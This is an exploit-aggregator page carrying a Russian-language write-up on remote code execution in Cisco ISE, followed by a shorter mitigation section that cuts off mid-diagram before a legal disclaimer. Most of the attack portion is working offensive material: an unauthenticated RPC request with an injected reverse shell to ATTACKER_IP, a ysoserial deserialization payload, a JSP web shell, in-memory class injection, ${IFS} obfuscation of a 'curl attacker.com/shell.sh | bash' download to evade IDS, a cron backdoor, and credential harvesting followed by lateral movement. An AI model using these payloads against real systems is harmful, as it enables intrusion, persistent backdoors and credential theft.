Sploitus

Exploit for CVE-2026-20180 CVE-2025-20124 CVE-2026-20180

kitploit · 2026-08-27

Exploit Code

MARKDOWN430 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KALETH4-CVE-2026-20180
# Cisco ISE RCE: Расширенный анализ эксплуатации и устранения уязвимостей

## 📋 Содержание

  1. Краткое резюме
  2. Анализ поверхности атаки
  3. Векторы эксплуатации
  4. Продвинутые техники обхода
  5. Системное влияние на архитектуры Zero Trust
  6. Стратегия устранения уязвимостей
  7. Расследование инцидентов
  8. Ссылки



* * *

## 🎯 Краткое резюме

Уязвимости удаленного выполнения кода (RCE) в **Cisco Identity Services Engine (ISE)** представляют собой критическую точку отказа в корпоративной периметральной безопасности. Для элитного исследователя безопасности ISE — это не просто компонент аутентификации: это **мастер-ключ** , контролирующий доступ ко всей сетевой инфраструктуре.

**Критический риск:** Неаутентифицированный злоумышленник может получить полный контроль над системой менее чем за 5 минут, не оставляя обнаруживаемых следов в традиционных системах мониторинга.

* * *

## 🔍 Анализ поверхности атаки

### 1.1 Оценка неаутентифицированных API управления в NAC

#### Выявленные уязвимые конечные точки

#### Характеристика поверхности

root@kitploit:~
    
    
    ┌─────────────────────────────────────────────────────────┐
    │         CISCO ISE - ОТКРЫТАЯ АРХИТЕКТУРА NAC            │
    ├─────────────────────────────────────────────────────────┤
    │                                                          │
    │  [Интернет] ──→ [Межсетевой экран] ──→ [Порт управления ISE] │
    │                                    ↓                     │
    │                            [Неаутентифицированные API]  │
    │                                    ↓                     │
    │                    [Уровень десериализации Java]        │
    │                                    ↓                     │
    │                        [Веб-контейнер Tomcat]           │
    │                                    ↓                     │
    │                    [Выполнение команд ОС]               │
    │                                    ↓                     │
    │                [Полная компрометация сети]              │
    │                                                          │
    └─────────────────────────────────────────────────────────┘
    

**Критическая находка:** API `/deployment-rpc/` **не проверяет токены сеансов** на первых строках обработки, что позволяет полностью обойти аутентификацию.

* * *

## ⚡ Векторы эксплуатации

### 2.1 Злоупотребление неаутентифицированными API (CVE-2025-20281)

#### Техника атаки — пошагово

**Фаза 1: Разведка**

root@kitploit:~
    
    
    # Сканирование портов и сервисов
    nmap -sV -p 8443,8080 <ISE_IP>
    
    # Перечисление конечных точек RPC
    curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
    

**Фаза 2: Прямая эксплуатация**

root@kitploit:~
    
    
    POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
    Host: <ISE_IP>:8443
    Content-Type: application/json
    Content-Length: 287
    
    {
      "tunnelName": "admin",
      "tunnelType": "IPSec",
      "presharedKey": "test",
      "remoteGateway": "127.0.0.1",
      "localSubnet": "0.0.0.0/0",
      "remoteSubnet": "0.0.0.0/0",
      "advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
    }
    

**Результат:** Выполнение произвольной команды с правами `root` (пользователь Tomcat запускается как root в конфигурациях по умолчанию).

* * *

### 2.2 Инъекция команд через десериализацию Java (CVE-2025-20124)

#### Механизм атаки

root@kitploit:~
    
    
    [Сериализованный payload] ──→ [Конечная точка API] ──→ [ObjectInputStream.readObject()]
                                                          ↓
                                              [Выполнение цепочки гаджетов]
                                                          ↓
                                              [Вызов Runtime.exec()]
    

**PoC payload (с использованием ysoserial):**

root@kitploit:~
    
    
    # Генерация вредоносной цепочки гаджетов
    java -jar ysoserial.jar CommonsCollections6 \
      'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
      base64 -w 0 > payload.b64
    
    # Отправка payload
    curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
      -H "Content-Type: application/octet-stream" \
      --data-binary @payload.b64
    

**Воздействие:** Повышение привилегий с учетной записи «Только чтение» до `root`.

* * *

### 2.3 Произвольная загрузка файлов (CVE-2025-20282)

#### Поток эксплуатации

root@kitploit:~
    
    
    [Веб-шелл] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
                                                          ↓
                                        [Tomcat обрабатывает файл JSP]
                                                          ↓
                                        [Выполнение с правами root]
    

**Пример вредоносного веб-шелла:**

root@kitploit:~
    
    
    <%@ page import="java.io.*" %>
    <%
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
            String line;
            while ((line = br.readLine()) != null) {
                out.println(line + "<br>");
            }
        }
    %>
    

**Последующий доступ:**

root@kitploit:~
    
    
    https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
    

* * *

## 🥷 Продвинутые техники обхода

### 3.1 Веб-шеллы в памяти (In-Memory Injection)

#### Методология инъекции

Элитный хакер **никогда** не оставляет файлы на диске. Инъекция в память — это техника невидимой персистентности:

root@kitploit:~
    
    
    // Инъекция в Tomcat ClassLoader
    ClassLoader loader = Thread.currentThread().getContextClassLoader();
    byte[] classBytes = generateMaliciousClass();
    Method defineClass = ClassLoader.class.getDeclaredMethod(
        "defineClass", 
        String.class, byte[].class, int.class, int.class
    );
    defineClass.setAccessible(true);
    defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
    

**Преимущество:** Традиционные сканеры файлов (OSSEC, Tripwire) ничего не обнаруживают.

* * *

### 3.2 Обфускация команд с помощью `${IFS}`

#### Техника обхода IDS

root@kitploit:~
    
    
    # Исходная команда (обнаруживаемая)
    curl http://attacker.com/shell.sh | bash
    
    # Обфусцированная команда (обход IDS)
    c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
    
    # Вариант с косвенной адресацией переменных
    ${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'вредоносная_команда'
    

**Почему это работает:** Системы обнаружения ищут шаблоны ключевых слов (`curl`, `bash`, `|`). Использование `${IFS}` (Internal Field Separator) разделяет слова, не меняя их значения в bash.

* * *

### 3.3 Техники невидимой персистентности

#### Бэкдор в Cron (обнаруживаемый)

root@kitploit:~
    
    
    # ❌ ОБНАРУЖИВАЕМЫЙ - Файлы в /etc/cron.d/
    echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
    

#### Бэкдор в памяти (невидимый)

root@kitploit:~
    
    
    # ✅ НЕВИДИМЫЙ - Инъекция в процесс Tomcat
    # 1. Создать listener netcat в памяти
    # 2. Инъектировать поток в JVM, поддерживающий постоянное соединение
    # 3. Нет файлов, нет видимых осиротевших процессов
    

* * *

## 🌐 Системное влияние на архитектуры Zero Trust

### 4.1 Как компрометация ISE разрушает Zero Trust

#### Полный сценарий атаки

root@kitploit:~
    
    
    ┌──────────────────────────────────────────────────────────────────┐
    │                    ИСХОДНАЯ АРХИТЕКТУРА ZERO TRUST               │
    ├──────────────────────────────────────────────────────────────────┤
    │                                                                   │
    │  [Пользователь] ──→ [Аутентификация ISE] ──→ [Проверка состояния устройства] │
    │                                              ↓                    │
    │                                    [Политика микросегментации]   │
    │                                              ↓                    │
    │                              [Ограниченный доступ к ресурсам]    │
    │                                                                   │
    └──────────────────────────────────────────────────────────────────┘
    
                        ⬇️  ПОСЛЕ КОМПРОМЕТАЦИИ ISE  ⬇️
    
    ┌──────────────────────────────────────────────────────────────────┐
    │                   КОМПРОМЕТИРОВАННАЯ АРХИТЕКТУРА                  │
    ├──────────────────────────────────────────────────────────────────┤
    │                                                                   │
    │  [Злоумышленник] ──→ [Контролируемый ISE] ──→ [Измененные политики] │
    │                                              ↓                    │
    │                          [Микросегментация ОТКЛЮЧЕНА]            │
    │                                              ↓                    │
    │                    [Полное боковое перемещение по сети]          │
    │                                              ↓                    │
    │              [Доступ к базам данных, серверам, IoT]             │
    │                                                                   │
    └──────────────────────────────────────────────────────────────────┘
    

#### Боковое перемещение после компрометации

**Фаза 1: Внутренняя разведка**

root@kitploit:~
    
    
    # С скомпрометированного ISE перечислить сеть
    nmap -sV -p 22,3306,5432,1433 10.0.0.0/8 --script smb-enum-shares
    
    # Извлечь учетные данные, хранящиеся в ISE
    grep -r "password" /opt/CSCOlumos/config/ | grep -v "^#"
    

**Фаза 2: Инъекция вредоносных политик**

root@kitploit:~
    
    
    Изменение политики ISE:
    ├─ Создать скрытую административную учетную запись
    ├─ Изменить правила сегментации
    ├─ Разрешить неавторизованный трафик между VLAN
    └─ Перенаправить DNS-трафик на контролируемый сервер
    

**Фаза 3: Персистентность и эксфильтрация**

root@kitploit:~
    
    
    Эксфильтрированные данные:
    ├─ Учетные данные всех аутентифицированных пользователей
    ├─ Конфигурация сетевых политик
    ├─ Журналы доступа (для удаления следов)
    ├─ Внутренние сертификаты SSL/TLS
    └─ Информация об устройствах IoT и серверах
    

* * *

## 🛡️ Стратегия устранения уязвимостей

### 5.1 Немедленные действия (Смягчение — первые 24 часа)

#### 5.1.1 Критическое патчирование

root@kitploit:~
    
    
    # Проверить текущую версию
    ssh admin@<ISE_IP>
    show version
    
    # Уязвимые версии:
    # - ISE 3.0.x — 3.2.x (ВСЕ)
    # - ISE 3.3.0 — 3.3.6
    # - ISE 3.4.0 — 3.4.1
    
    # Безопасные версии:
    # - ISE 3.3 Patch 7 или выше
    # - ISE 3.4 Patch 2 или выше
    # - ISE 3.5 (когда станет доступна)
    
    # Процедура обновления
    admin# copy https://<PATCH_SERVER>/ise-3.3.7-patch.tar admin:password
    admin# software install ise-3.3.7-patch.tar
    admin# reload
    

#### 5.1.2 Немедленная изоляция сети

root@kitploit:~
    
    
    ! На коммутаторе доступа (перед ISE)
    interface GigabitEthernet0/1
     description ISE-Management
     switchport mode access
     switchport access vlan 999
     spanning-tree portfast
     no shutdown
    
    ! Выделенная VLAN управления (VRF)
    ip vrf MGMT
     description Management VRF - Isolated
    
    interface Vlan999
     ip vrf forwarding MGMT
     ip address 10.255.255.1 255.255.255.0
    
    ! Ограничивающий ACL для ISE
    ip access-list extended ISE-MGMT-ONLY
     permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8443
     permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8080
     deny ip any any log
    
    ! Применить ACL
    interface GigabitEthernet0/1
     ip access-group ISE-MGMT-ONLY in
    

#### 5.1.3 Отключение уязвимых API (временный обходной путь)

root@kitploit:~
    
    
    # SSH к ISE
    ssh admin@<ISE_IP>
    
    # Доступ к конфигурации Tomcat
    config t
    system
    tomcat
     disable-rpc-endpoints yes
     disable-file-upload yes
    exit
    exit
    
    # Перезапуск Tomcat
    admin# application stop ise
    admin# application start ise
    

* * *

### 5.2 Структурное устранение (недели 1–4)

#### 5.2.1 Внедрение Zero Trust в ISE

root@kitploit:~
    
    
    ┌─────────────────────────────────────────────────────────┐
    │         УСИЛЕННАЯ АРХИТЕКТУРА ISE (ZERO TRUST)          │
    ├─────────────────────────────────────
    
    **🚨 ОТЧЕТ ПО БЕЗОПАСНОСТИ: RCE в Cisco ISE**
    ## Взгляд Red Team против Blue Team
    
    > **⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ:** Этот документ предназначен для легитимных исследований безопасности, авторизованных тестов на проникновение и защитных мер по устранению уязвимостей. Любая эксплуатация без авторизации незаконна.